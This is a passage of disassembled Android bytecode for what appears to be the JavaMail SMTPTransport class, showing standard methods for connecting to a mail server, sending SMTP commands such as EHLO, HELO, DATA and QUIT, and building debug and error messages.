0000005C  iget-object             v0, p0, SMTPTransport->session:Session
00000060  invoke-virtual          Session->getProperties()Properties, v0
00000066  move-result-object      v0
00000068  new-instance            v1, StringBuilder
0000006C  const-string            v2, "mail."
00000070  invoke-direct           StringBuilder-><init>(String)V, v1, v2
00000076  iget-object             v2, p0, SMTPTransport->name:String
0000007A  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
00000080  move-result-object      v1
00000082  invoke-virtual          StringBuilder->toString()String, v1
00000088  move-result-object      v1
0000008A  iget-boolean            v2, p0, SMTPTransport->isSSL:Z
0000008E  invoke-static           SocketFetcher->getSocket(String, I, Properties, String, Z)Socket, p1, p2, v0, v1, v2
00000094  move-result-object      v0
00000096  iput-object             v0, p0, SMTPTransport->serverSocket:Socket
0000009A  iget-object             v0, p0, SMTPTransport->serverSocket:Socket
0000009E  invoke-virtual          Socket->getPort()I, v0
000000A4  move-result             p2
000000A6  invoke-direct           SMTPTransport->initStreams()V, p0
000000AC  invoke-virtual          SMTPTransport->readServerResponse()I, p0
000000B2  move-result             v0
000000B4  const/16                v1, 0xDC
000000B8  if-eq                   v0, v1, :1C0
:BC
000000BC  iget-object             v1, p0, SMTPTransport->serverSocket:Socket
000000C0  invoke-virtual          Socket->close()V, v1
000000C6  const/4                 v1, 0x0
000000C8  iput-object             v1, p0, SMTPTransport->serverSocket:Socket
000000CC  const/4                 v1, 0x0
000000CE  iput-object             v1, p0, SMTPTransport->serverOutput:OutputStream
000000D2  const/4                 v1, 0x0
000000D4  iput-object             v1, p0, SMTPTransport->serverInput:BufferedInputStream
000000D8  const/4                 v1, 0x0
000000DA  iput-object             v1, p0, SMTPTransport->lineInputStream:LineInputStream
000000DE  iget-boolean            v1, p0, SMTPTransport->debug:Z
000000E2  if-eqz                  v1, :142
:E6
000000E6  iget-object             v1, p0, SMTPTransport->out:PrintStream
000000EA  new-instance            v2, StringBuilder
000000EE  const-string            v3, "DEBUG SMTP: could not connect to host \""
000000F2  invoke-direct           StringBuilder-><init>(String)V, v2, v3
000000F8  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, p1
000000FE  move-result-object      v2
00000100  const-string            v3, "\", port: "
00000104  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v3
0000010A  move-result-object      v2
0000010C  invoke-virtual          StringBuilder->append(I)StringBuilder, v2, p2
00000112  move-result-object      v2
00000114  const-string            v3, ", response: "
00000118  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v3
0000011E  move-result-object      v2
00000120  invoke-virtual          StringBuilder->append(I)StringBuilder, v2, v0
00000126  move-result-object      v2
00000128  const-string            v3, "\n"
0000012C  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v3
00000132  move-result-object      v2
00000134  invoke-virtual          StringBuilder->toString()String, v2
0000013A  move-result-object      v2
0000013C  invoke-virtual          PrintStream->println(String)V, v1, v2
:142
00000142  new-instance            v1, MessagingException
00000146  new-instance            v2, StringBuilder
0000014A  const-string            v3, "Could not connect to SMTP host: "
0000014E  invoke-direct           StringBuilder-><init>(String)V, v2, v3
00000154  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, p1
0000015A  move-result-object      v2
0000015C  const-string            v3, ", port: "
00000160  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v3
00000166  move-result-object      v2
00000168  invoke-virtual          StringBuilder->append(I)StringBuilder, v2, p2
0000016E  move-result-object      v2
00000170  const-string            v3, ", response: "
00000174  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v3
0000017A  move-result-object      v2
0000017C  invoke-virtual          StringBuilder->append(I)StringBuilder, v2, v0
00000182  move-result-object      v0
00000184  invoke-virtual          StringBuilder->toString()String, v0
0000018A  move-result-object      v0
0000018C  invoke-direct           MessagingException-><init>(String)V, v1, v0
00000192  throw                   v1
:194
00000194  move-exception          v0
00000196  new-instance            v1, MessagingException
0000019A  new-instance            v2, StringBuilder
0000019E  const-string            v3, "Unknown SMTP host: "
000001A2  invoke-direct           StringBuilder-><init>(String)V, v2, v3
000001A8  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, p1
000001AE  move-result-object      v2
000001B0  invoke-virtual          StringBuilder->toString()String, v2
000001B6  move-result-object      v2
000001B8  invoke-direct           MessagingException-><init>(String, Exception)V, v1, v2, v0
000001BE  throw                   v1
:1C0
000001C0  iget-boolean            v0, p0, SMTPTransport->debug:Z
000001C4  if-eqz                  v0, :210
:1C8
000001C8  iget-object             v0, p0, SMTPTransport->out:PrintStream
000001CC  new-instance            v1, StringBuilder
000001D0  const-string            v2, "DEBUG SMTP: connected to host \""
000001D4  invoke-direct           StringBuilder-><init>(String)V, v1, v2
000001DA  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, p1
000001E0  move-result-object      v1
000001E2  const-string            v2, "\", port: "
000001E6  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
000001EC  move-result-object      v1
000001EE  invoke-virtual          StringBuilder->append(I)StringBuilder, v1, p2
000001F4  move-result-object      v1
000001F6  const-string            v2, "\n"
000001FA  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
00000200  move-result-object      v1
00000202  invoke-virtual          StringBuilder->toString()String, v1
00000208  move-result-object      v1
0000020A  invoke-virtual          PrintStream->println(String)V, v0, v1
:210
00000210  return-void
:212
00000212  move-exception          v0
00000214  new-instance            v1, MessagingException
00000218  new-instance            v2, StringBuilder
0000021C  const-string            v3, "Could not connect to SMTP host: "
00000220  invoke-direct           StringBuilder-><init>(String)V, v2, v3
00000226  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, p1
0000022C  move-result-object      v2
0000022E  const-string            v3, ", port: "
00000232  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v3
00000238  move-result-object      v2
0000023A  invoke-virtual          StringBuilder->append(I)StringBuilder, v2, p2
00000240  move-result-object      v2
00000242  invoke-virtual          StringBuilder->toString()String, v2
00000248  move-result-object      v2
0000024A  invoke-direct           MessagingException-><init>(String, Exception)V, v1, v2, v0
00000250  throw                   v1
          .catch UnknownHostException {:5C .. :194} :194
          .catch IOException {:5C .. :194} :212
          .catch UnknownHostException {:1C0 .. :210} :194
          .catch IOException {:1C0 .. :210} :212
.end method

.method private sendCommand([B)V
          .registers 5
00000000  sget-boolean            v0, SMTPTransport->$assertionsDisabled:Z
00000004  if-nez                  v0, :20
:8
00000008  invoke-static           Thread->holdsLock(Object)Z, p0
0000000E  move-result             v0
00000010  if-nez                  v0, :20
:14
00000014  new-instance            v0, AssertionError
00000018  invoke-direct           AssertionError-><init>()V, v0
0000001E  throw                   v0
:20
00000020  iget-object             v0, p0, SMTPTransport->serverOutput:OutputStream
00000024  invoke-virtual          OutputStream->write([B)V, v0, p1
0000002A  iget-object             v0, p0, SMTPTransport->serverOutput:OutputStream
0000002E  sget-object             v1, SMTPTransport->CRLF:[B
00000032  invoke-virtual          OutputStream->write([B)V, v0, v1
00000038  iget-object             v0, p0, SMTPTransport->serverOutput:OutputStream
0000003C  invoke-virtual          OutputStream->flush()V, v0
:42
00000042  return-void
:44
00000044  move-exception          v0
00000046  new-instance            v1, MessagingException
0000004A  const-string            v2, "Can\'t send command to SMTP host"
0000004E  invoke-direct           MessagingException-><init>(String, Exception)V, v1, v2, v0
00000054  throw                   v1
          .catch IOException {:20 .. :42} :44
.end method

.method protected static xtext(String)String
          .registers 8
00000000  const/16                v6, 0x2B
00000004  const/4                 v2, 0x0
00000006  const/4                 v0, 0x0
00000008  move                    v1, v2
:A
0000000A  invoke-virtual          String->length()I, p0
00000010  move-result             v3
00000012  if-lt                   v1, v3, :24
:16
00000016  if-eqz                  v0, :22
:1A
0000001A  invoke-virtual          StringBuffer->toString()String, v0
00000020  move-result-object      p0
:22
00000022  return-object           p0
:24
00000024  invoke-virtual          String->charAt(I)C, p0, v1
0000002A  move-result             v3
0000002C  const/16                v4, 0x80
00000030  if-lt                   v3, v4, :5E
:34
00000034  new-instance            v0, IllegalArgumentException
00000038  new-instance            v1, StringBuilder
0000003C  const-string            v2, "Non-ASCII character in SMTP submitter: "
00000040  invoke-direct           StringBuilder-><init>(String)V, v1, v2
00000046  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, p0
0000004C  move-result-object      v1
0000004E  invoke-virtual          StringBuilder->toString()String, v1
00000054  move-result-object      v1
00000056  invoke-direct           IllegalArgumentException-><init>(String)V, v0, v1
0000005C  throw                   v0
:5E
0000005E  const/16                v4, 0x21
00000062  if-lt                   v3, v4, :7A
:66
00000066  const/16                v4, 0x7E
0000006A  if-gt                   v3, v4, :7A
:6E
0000006E  if-eq                   v3, v6, :7A
:72
00000072  const/16                v4, 0x3D
00000076  if-ne                   v3, v4, :D6
:7A
0000007A  if-nez                  v0, :A2
:7E
0000007E  new-instance            v0, StringBuffer
00000082  invoke-virtual          String->length()I, p0
00000088  move-result             v4
0000008A  add-int/lit8            v4, v4, 0x4
0000008E  invoke-direct           StringBuffer-><init>(I)V, v0, v4
00000094  invoke-virtual          String->substring(I, I)String, p0, v2, v1
0000009A  move-result-object      v4
0000009C  invoke-virtual          StringBuffer->append(String)StringBuffer, v0, v4
:A2
000000A2  invoke-virtual          StringBuffer->append(C)StringBuffer, v0, v6
000000A8  sget-object             v4, SMTPTransport->hexchar:[C
000000AC  and-int/lit16           v5, v3, 0xF0
000000B0  shr-int/lit8            v5, v5, 0x4
000000B4  aget-char               v4, v4, v5
000000B8  invoke-virtual          StringBuffer->append(C)StringBuffer, v0, v4
000000BE  sget-object             v4, SMTPTransport->hexchar:[C
000000C2  and-int/lit8            v3, v3, 0xF
000000C6  aget-char               v3, v4, v3
000000CA  invoke-virtual          StringBuffer->append(C)StringBuffer, v0, v3
:D0
000000D0  add-int/lit8            v1, v1, 0x1
000000D4  goto                    :A
:D6
000000D6  if-eqz                  v0, :D0
:DA
000000DA  invoke-virtual          StringBuffer->append(C)StringBuffer, v0, v3
000000E0  goto                    :D0
.end method

.method protected checkConnected()V
          .registers 3
00000000  invoke-super            Transport->isConnected()Z, p0
00000006  move-result             v0
00000008  if-nez                  v0, :1C
:C
0000000C  new-instance            v0, IllegalStateException
00000010  const-string            v1, "Not connected"
00000014  invoke-direct           IllegalStateException-><init>(String)V, v0, v1
0000001A  throw                   v0
:1C
0000001C  return-void
.end method

.method public declared-synchronized close()V
          .registers 5
00000000  monitor-enter           p0
:2
00000002  invoke-super            Transport->isConnected()Z, p0
:8
00000008  move-result             v0
0000000A  if-nez                  v0, :12
:E
0000000E  monitor-exit            p0
00000010  return-void
:12
00000012  iget-object             v0, p0, SMTPTransport->serverSocket:Socket
00000016  if-eqz                  v0, :6A
:1A
0000001A  const-string            v0, "QUIT"
0000001E  invoke-virtual          SMTPTransport->sendCommand(String)V, p0, v0
00000024  iget-boolean            v0, p0, SMTPTransport->quitWait:Z
00000028  if-eqz                  v0, :6A
:2C
0000002C  invoke-virtual          SMTPTransport->readServerResponse()I, p0
00000032  move-result             v0
00000034  const/16                v1, 0xDD
00000038  if-eq                   v0, v1, :6A
:3C
0000003C  const/4                 v1, 0xFFFFFFFFFFFFFFFF
0000003E  if-eq                   v0, v1, :6A
:42
00000042  iget-object             v1, p0, SMTPTransport->out:PrintStream
00000046  new-instance            v2, StringBuilder
0000004A  const-string            v3, "DEBUG SMTP: QUIT failed with "
0000004E  invoke-direct           StringBuilder-><init>(String)V, v2, v3
00000054  invoke-virtual          StringBuilder->append(I)StringBuilder, v2, v0
0000005A  move-result-object      v0
0000005C  invoke-virtual          StringBuilder->toString()String, v0
00000062  move-result-object      v0
00000064  invoke-virtual          PrintStream->println(String)V, v1, v0
:6A
0000006A  invoke-direct           SMTPTransport->closeConnection()V, p0
:70
00000070  goto                    :E
:72
00000072  move-exception          v0
00000074  monitor-exit            p0
00000076  throw                   v0
:78
00000078  move-exception          v0
:7A
0000007A  invoke-direct           SMTPTransport->closeConnection()V, p0
00000080  throw                   v0
          .catchall {:2 .. :8} :72
          .catchall {:12 .. :6A} :78
          .catchall {:6A .. :70} :72
          .catchall {:7A .. :82} :72
.end method

.method public declared-synchronized connect(Socket)V
          .registers 3
00000000  monitor-enter           p0
:2
00000002  iput-object             p1, p0, SMTPTransport->serverSocket:Socket
00000006  invoke-super            Transport->connect()V, p0
:C
0000000C  monitor-exit            p0
0000000E  return-void
:10
00000010  move-exception          v0
00000012  monitor-exit            p0
00000014  throw                   v0
          .catchall {:2 .. :C} :10
.end method

.method protected data()OutputStream
          .registers 3
00000000  sget-boolean            v0, SMTPTransport->$assertionsDisabled:Z
00000004  if-nez                  v0, :20
:8
00000008  invoke-static           Thread->holdsLock(Object)Z, p0
0000000E  move-result             v0
00000010  if-nez                  v0, :20
:14
00000014  new-instance            v0, AssertionError
00000018  invoke-direct           AssertionError-><init>()V, v0
0000001E  throw                   v0
:20
00000020  const-string            v0, "DATA"
00000024  const/16                v1, 0x162
00000028  invoke-direct           SMTPTransport->issueSendCommand(String, I)V, p0, v0, v1
0000002E  new-instance            v0, SMTPOutputStream
00000032  iget-object             v1, p0, SMTPTransport->serverOutput:OutputStream
00000036  invoke-direct           SMTPOutputStream-><init>(OutputStream)V, v0, v1
0000003C  iput-object             v0, p0, SMTPTransport->dataStream:SMTPOutputStream
00000040  iget-object             v0, p0, SMTPTransport->dataStream:SMTPOutputStream
00000044  return-object           v0
.end method

.method protected ehlo(String)Z
          .registers 13
00000000  const/16                v10, 0xFA
00000004  const/4                 v1, 0x1
00000006  const/4                 v2, 0x0
00000008  if-eqz                  p1, :78
:C
0000000C  new-instance            v0, StringBuilder
00000010  const-string            v3, "EHLO "
00000014  invoke-direct           StringBuilder-><init>(String)V, v0, v3
0000001A  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, p1
00000020  move-result-object      v0
00000022  invoke-virtual          StringBuilder->toString()String, v0
00000028  move-result-object      v0
:2A
0000002A  invoke-virtual          SMTPTransport->sendCommand(String)V, p0, v0
00000030  invoke-virtual          SMTPTransport->readServerResponse()I, p0
00000036  move-result             v5
00000038  if-ne                   v5, v10, :70
:3C
0000003C  new-instance            v6, BufferedReader
00000040  new-instance            v0, StringReader
00000044  iget-object             v3, p0, SMTPTransport->lastServerResponse:String
00000048  invoke-direct           StringReader-><init>(String)V, v0, v3
0000004E  invoke-direct           BufferedReader-><init>(Reader)V, v6, v0
00000054  new-instance            v0, Hashtable
00000058  invoke-direct           Hashtable-><init>()V, v0
0000005E  iput-object             v0, p0, SMTPTransport->extMap:Hashtable
00000062  move                    v4, v1
:64
00000064  invoke-virtual          BufferedReader->readLine()String, v6
:6A
0000006A  move-result-object      v0
0000006C  if-nez                  v0, :7E
:70
00000070  if-ne                   v5, v10, :134
:74
00000074  move                    v0, v1
:76
00000076  return                  v0
:78
00000078  const-string            v0, "EHLO"
0000007C  goto                    :2A
:7E
0000007E  if-eqz                  v4, :86
:82
00000082  move                    v4, v2
00000084  goto                    :64
:86
00000086  invoke-virtual          String->length()I, v0
0000008C  move-result             v3
0000008E  const/4                 v7, 0x5
00000090  if-lt                   v3, v7, :64
:94
00000094  const/4                 v3, 0x4
00000096  invoke-virtual          String->substring(I)String, v0, v3
0000009C  move-result-object      v3
0000009E  const/16                v0, 0x20
000000A2  invoke-virtual          String->indexOf(I)I, v3, v0
000000A8  move-result             v7
000000AA  const-string            v0, ""
000000AE  if-lez                  v7, :C8
:B2
000000B2  add-int/lit8            v0, v7, 0x1
000000B6  invoke-virtual          String->substring(I)String, v3, v0
000000BC  move-result-object      v0
000000BE  const/4                 v8, 0x0
000000C0  invoke-virtual          String->substring(I, I)String, v3, v8, v7
000000C6  move-result-object      v3
:C8
000000C8  iget-boolean            v7, p0, SMTPTransport->debug:Z
000000CC  if-eqz                  v7, :118
:D0
000000D0  iget-object             v7, p0, SMTPTransport->out:PrintStream
000000D4  new-instance            v8, StringBuilder
000000D8  const-string            v9, "DEBUG SMTP: Found extension \""
000000DC  invoke-direct           StringBuilder-><init>(String)V, v8, v9
000000E2  invoke-virtual          StringBuilder->append(String)StringBuilder, v8, v3
000000E8  move-result-object      v8
000000EA  const-string            v9, "\", arg \""
000000EE  invoke-virtual          StringBuilder->append(String)StringBuilder, v8, v9
000000F4  move-result-object      v8
000000F6  invoke-virtual          StringBuilder->append(String)StringBuilder, v8, v0
000000FC  move-result-object      v8
000000FE  const-string            v9, "\""
00000102  invoke-virtual          StringBuilder->append(String)StringBuilder, v8, v9
00000108  move-result-object      v8
0000010A  invoke-virtual          StringBuilder->toString()String, v8
00000110  move-result-object      v8
00000112  invoke-virtual          PrintStream->println(String)V, v7, v8
:118
00000118  iget-object             v7, p0, SMTPTransport->extMap:Hashtable
0000011C  sget-object             v8, Locale->ENGLISH:Locale
00000120  invoke-virtual          String->toUpperCase(Locale)String, v3, v8
00000126  move-result-object      v3
00000128  invoke-virtual          Hashtable->put(Object, Object)Object, v7, v3, v0
:12E
0000012E  goto                    :64
:130
00000130  move-exception          v0
00000132  goto                    :70
:134
00000134  move                    v0, v2
00000136  goto                    :76
          .catch IOException {:64 .. :6A} :130
          .catch IOException {:86 .. :12E} :130
.end method

.method protected finalize()V
          .registers 2
00000000  invoke-super            Transport->finalize()V, p0
:6
00000006  invoke-direct           SMTPTransport->closeConnection()V, p0
:C
0000000C  return-void
:E
0000000E  move-exception          v0
00000010  goto                    :C
          .catch MessagingException {:6 .. :C} :E
.end method

.method protected finishData()V
          .registers 3
00000000  sget-boolean            v0, SMTPTransport->$assertionsDisabled:Z
00000004  if-nez                  v0, :20
:8
00000008  invoke-static           Thread->holdsLock(Object)Z, p0
0000000E  move-result             v0
00000010  if-nez                  v0, :20
:14
00000014  new-instance            v0, AssertionError
00000018  invoke-direct           AssertionError-><init>()V, v0
0000001E  throw                   v0
:20
00000020  iget-object             v0, p0, SMTPTransport->dataStream:SMTPOutputStream
00000024  invoke-virtual          SMTPOutputStream->ensureAtBOL()V, v0
0000002A  const-string            v0, "."
0000002E  const/16                v1, 0xFA
00000032  invoke-direct           SMTPTransport->issueSendCommand(String, I)V, p0, v0, v1
00000038  return-void
.end method

.method public getExtensionParameter(String)String
          .registers 4
00000000  iget-object             v0, p0, SMTPTransport->extMap:Hashtable
00000004  if-nez                  v0, :C
:8
00000008  const/4                 v0, 0x0
:A
0000000A  return-object           v0
:C
0000000C  iget-object             v0, p0, SMTPTransport->extMap:Hashtable
00000010  sget-object             v1, Locale->ENGLISH:Locale
00000014  invoke-virtual          String->toUpperCase(Locale)String, p1, v1
0000001A  move-result-object      v1
0000001C  invoke-virtual          Hashtable->get(Object)Object, v0, v1
00000022  move-result-object      v0
00000024  check-cast              v0, String
00000028  goto                    :A
.end method

.method public declared-synchronized getLastReturnCode()I
          .registers 2
00000000  monitor-enter           p0
:2
00000002  iget                    v0, p0, SMTPTransport->lastReturnCode:I
:6
00000006  monitor-exit            p0
00000008  return                  v0
:A
0000000A  move-exception          v0
0000000C  monitor-exit            p0
0000000E  throw                   v0
          .catchall {:2 .. :6} :A
.end method

.method public declared-synchronized getLastServerResponse()String
          .registers 2
00000000  monitor-enter           p0
:2
00000002  iget-object             v0, p0, SMTPTransport->lastServerResponse:String
:6
00000006  monitor-exit            p0
00000008  return-object           v0
:A
0000000A  move-exception          v0
0000000C  monitor-exit            p0
0000000E  throw                   v0
          .catchall {:2 .. :6} :A
.end method

.method public declared-synchronized getLocalHost()String
          .registers 4
00000000  monitor-enter           p0
:2
00000002  iget-object             v0, p0, SMTPTransport->localHostName:String
00000006  if-eqz                  v0, :1A
:A
0000000A  iget-object             v0, p0, SMTPTransport->localHostName:String
0000000E  invoke-virtual          String->length()I, v0
00000014  move-result             v0
00000016  if-gtz                  v0, :58
:1A
0000001A  iget-object             v0, p0, SMTPTransport->session:Session
0000001E  new-instance            v1, StringBuilder
00000022  const-string            v2, "mail."
00000026  invoke-direct           StringBuilder-><init>(String)V, v1, v2
0000002C  iget-object             v2, p0, SMTPTransport->name:String
00000030  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
00000036  move-result-object      v1
00000038  const-string            v2, ".localhost"
0000003C  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
00000042  move-result-object      v1
00000044  invoke-virtual          StringBuilder->toString()String, v1
0000004A  move-result-object      v1
0000004C  invoke-virtual          Session->getProperty(String)String, v0, v1
00000052  move-result-object      v0
00000054  iput-object             v0, p0, SMTPTransport->localHostName:String
:58
00000058  iget-object             v0, p0, SMTPTransport->localHostName:String
0000005C  if-eqz                  v0, :70
:60
00000060  iget-object             v0, p0, SMTPTransport->localHostName:String
00000064  invoke-virtual          String->length()I, v0
0000006A  move-result             v0
0000006C  if-gtz                  v0, :AE
:70
00000070  iget-object             v0, p0, SMTPTransport->session:Session
00000074  new-instance            v1, StringBuilder
00000078  const-string            v2, "mail."
0000007C  invoke-direct           StringBuilder-><init>(String)V, v1, v2
00000082  iget-object             v2, p0, SMTPTransport->name:String
00000086  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
0000008C  move-result-object      v1
0000008E  const-string            v2, ".localaddress"
00000092  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
00000098  move-result-object      v1
0000009A  invoke-virtual          StringBuilder->toString()String, v1
000000A0  move-result-object      v1
000000A2  invoke-virtual          Session->getProperty(String)String, v0, v1
000000A8  move-result-object      v0
000000AA  iput-object             v0, p0, SMTPTransport->localHostName:String
:AE
000000AE  iget-object             v0, p0, SMTPTransport->localHostName:String
000000B2  if-eqz                  v0, :C6
:B6
000000B6  iget-object             v0, p0, SMTPTransport->localHostName:String
000000BA  invoke-virtual          String->length()I, v0
000000C0  move-result             v0
000000C2  if-gtz                  v0, :118
:C6
000000C6  invoke-static           InetAddress->getLocalHost()InetAddress
000000CC  move-result-object      v0
000000CE  invoke-virtual          InetAddress->getHostName()String, v0
000000D4  move-result-object      v1
000000D6  iput-object             v1, p0, SMTPTransport->localHostName:String
000000DA  iget-object             v1, p0, SMTPTransport->localHostName:String
000000DE  if-nez                  v1, :118
:E2
000000E2  new-instance            v1, StringBuilder
000000E6  const-string            v2, "["
000000EA  invoke-direct           StringBuilder-><init>(String)V, v1, v2
000000F0  invoke-virtual          InetAddress->getHostAddress()String, v0
000000F6  move-result-object      v0
000000F8  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v0
000000FE  move-result-object      v0
00000100  const-string            v1, "]"
00000104  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
0000010A  move-result-object      v0
0000010C  invoke-virtual          StringBuilder->toString()String, v0
00000112  move-result-object      v0
00000114  iput-object             v0, p0, SMTPTransport->localHostName:String
:118
00000118  iget-object             v0, p0, SMTPTransport->localHostName:String
:11C
0000011C  monitor-exit            p0
0000011E  return-object           v0
:120
00000120  move-exception          v0
00000122  monitor-exit            p0
00000124  throw                   v0
:126
00000126  move-exception          v0
00000128  goto                    :118
          .catch UnknownHostException {:2 .. :118} :126
          .catchall {:2 .. :118} :120
          .catchall {:118 .. :11C} :120
.end method

.method public declared-synchronized getReportSuccess()Z
          .registers 2
00000000  monitor-enter           p0
:2
00000002  iget-boolean            v0, p0, SMTPTransport->reportSuccess:Z
:6
00000006  monitor-exit            p0
00000008  return                  v0
:A
0000000A  move-exception          v0
0000000C  monitor-exit            p0
0000000E  throw                   v0
          .catchall {:2 .. :6} :A
.end method

.method public declared-synchronized getSASLRealm()String
          .registers 4
00000000  monitor-enter           p0
:2
00000002  iget-object             v0, p0, SMTPTransport->saslRealm:String
00000006  const-string            v1, "UNKNOWN"
0000000A  if-ne                   v0, v1, :92
:E
0000000E  iget-object             v0, p0, SMTPTransport->session:Session
00000012  new-instance            v1, StringBuilder
00000016  const-string            v2, "mail."
0000001A  invoke-direct           StringBuilder-><init>(String)V, v1, v2
00000020  iget-object             v2, p0, SMTPTransport->name:String
00000024  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
0000002A  move-result-object      v1
0000002C  const-string            v2, ".sasl.realm"
00000030  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
00000036  move-result-object      v1
00000038  invoke-virtual          StringBuilder->toString()String, v1
0000003E  move-result-object      v1
00000040  invoke-virtual          Session->getProperty(String)String, v0, v1
00000046  move-result-object      v0
00000048  iput-object             v0, p0, SMTPTransport->saslRealm:String
0000004C  iget-object             v0, p0, SMTPTransport->saslRealm:String
00000050  if-nez                  v0, :92
:54
00000054  iget-object             v0, p0, SMTPTransport->session:Session
00000058  new-instance            v1, StringBuilder
0000005C  const-string            v2, "mail."
00000060  invoke-direct           StringBuilder-><init>(String)V, v1, v2
00000066  iget-object             v2, p0, SMTPTransport->name:String
0000006A  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
00000070  move-result-object      v1
00000072  const-string            v2, ".saslrealm"
00000076  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
0000007C  move-result-object      v1
0000007E  invoke-virtual          StringBuilder->toString()String, v1
00000084  move-result-object      v1
00000086  invoke-virtual          Session->getProperty(String)String, v0, v1
0000008C  move-result-object      v0
0000008E  iput-object             v0, p0, SMTPTransport->saslRealm:String
:92
00000092  iget-object             v0, p0, SMTPTransport->saslRealm:String
:96
00000096  monitor-exit            p0
00000098  return-object           v0
:9A
0000009A  move-exception          v0
0000009C  monitor-exit            p0
0000009E  throw                   v0
          .catchall {:2 .. :96} :9A
.end method

.method public declared-synchronized getStartTLS()Z
          .registers 2
00000000  monitor-enter           p0
:2
00000002  iget-boolean            v0, p0, SMTPTransport->useStartTLS:Z
:6
00000006  monitor-exit            p0
00000008  return                  v0
:A
0000000A  move-exception          v0
0000000C  monitor-exit            p0
0000000E  throw                   v0
          .catchall {:2 .. :6} :A
.end method

.method public declared-synchronized getUseRset()Z
          .registers 2
00000000  monitor-enter           p0
:2
00000002  iget-boolean            v0, p0, SMTPTransport->useRset:Z
:6
00000006  monitor-exit            p0
00000008  return                  v0
:A
0000000A  move-exception          v0
0000000C  monitor-exit            p0
0000000E  throw                   v0
          .catchall {:2 .. :6} :A
.end method

.method protected helo(String)V
          .registers 5
00000000  const/16                v2, 0xFA
00000004  if-eqz                  p1, :2E
:8
00000008  new-instance            v0, StringBuilder
0000000C  const-string            v1, "HELO "
00000010  invoke-direct           StringBuilder-><init>(String)V, v0, v1
00000016  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, p1
0000001C  move-result-object      v0
0000001E  invoke-virtual          StringBuilder->toString()String, v0
00000024  move-result-object      v0
00000026  invoke-virtual          SMTPTransport->issueCommand(String, I)V, p0, v0, v2
:2C
0000002C  return-void
:2E
0000002E  const-string            v0, "HELO"
00000032  invoke-virtual          SMTPTransport->issueCommand(String, I)V, p0, v0, v2
00000038  goto                    :2C
.end method

.method public declared-synchronized isConnected()Z
          .registers 4
00000000  const/4                 v0, 0x0
00000002  monitor-enter           p0
:4
00000004  invoke-super            Transport->isConnected()Z, p0
:A
0000000A  move-result             v1
0000000C  if-nez                  v1, :14
:10
00000010  monitor-exit            p0
00000012  return                  v0
:14
00000014  iget-boolean            v1, p0, SMTPTransport->useRset:Z
00000018  if-eqz                  v1, :3E
:1C
0000001C  const-string            v1, "RSET"
00000020  invoke-virtual          SMTPTransport->sendCommand(String)V, p0, v1
:26
00000026  invoke-virtual          SMTPTransport->readServerResponse()I, p0
0000002C  move-result             v1
0000002E  if-ltz                  v1, :58
:32
00000032  const/16                v2, 0x1A5
00000036  if-eq                   v1, v2, :58
:3A
0000003A  const/4                 v0, 0x1
0000003C  goto                    :10
:3E
0000003E  const-string            v1, "NOOP"
00000042  invoke-virtual          SMTPTransport->sendCommand(String)V, p0, v1
:48
00000048  goto                    :26
:4A
0000004A  move-exception          v1
:4C
0000004C  invoke-direct           SMTPTransport->closeConnection()V, p0
:52
00000052  goto                    :10
:54
00000054  move-exception          v1
00000056  goto                    :10
:58
00000058  invoke-direct           SMTPTransport->closeConnection()V, p0
:5E
0000005E  goto                    :10
:60
00000060  move-exception          v1
00000062  goto                    :10
:64
00000064  move-exception          v0
00000066  monitor-exit            p0
00000068  throw                   v0
          .catchall {:4 .. :A} :64
          .catch Exception {:14 .. :48} :4A
          .catchall {:14 .. :48} :64
          .catch MessagingException {:4C .. :52} :54
          .catchall {:4C .. :52} :64
          .catch MessagingException {:58 .. :5E} :60
          .catch Exception {:58 .. :5E} :4A
          .catchall {:58 .. :5E} :64
.end method

.method public declared-synchronized issueCommand(String, I)V
          .registers 5
00000000  monitor-enter           p0
:2
00000002  invoke-virtual          SMTPTransport->sendCommand(String)V, p0, p1
00000008  invoke-virtual          SMTPTransport->readServerResponse()I, p0
0000000E  move-result             v0
00000010  if-eq                   v0, p2, :2A
:14
00000014  new-instance            v0, MessagingException
00000018  iget-object             v1, p0, SMTPTransport->lastServerResponse:String
0000001C  invoke-direct           MessagingException-><init>(String)V, v0, v1
00000022  throw                   v0
:24
00000024  move-exception          v0
00000026  monitor-exit            p0
00000028  throw                   v0
:2A
0000002A  monitor-exit            p0
0000002C  return-void
          .catchall {:2 .. :24} :24
.end method

.method protected mailFrom()V
          .registers 8
00000000  const/4                 v2, 0x0
00000002  iget-object             v0, p0, SMTPTransport->message:MimeMessage
00000006  instance-of             v0, v0, SMTPMessage
0000000A  if-eqz                  v0, :33A
:E
0000000E  iget-object             v0, p0, SMTPTransport->message:MimeMessage
00000012  check-cast              v0, SMTPMessage
00000016  invoke-virtual          SMTPMessage->getEnvelopeFrom()String, v0
0000001C  move-result-object      v0
:1E
0000001E  if-eqz                  v0, :2E
:22
00000022  invoke-virtual          String->length()I, v0
00000028  move-result             v1
0000002A  if-gtz                  v1, :68
:2E
0000002E  iget-object             v0, p0, SMTPTransport->session:Session
00000032  new-instance            v1, StringBuilder
00000036  const-string            v3, "mail."
0000003A  invoke-direct           StringBuilder-><init>(String)V, v1, v3
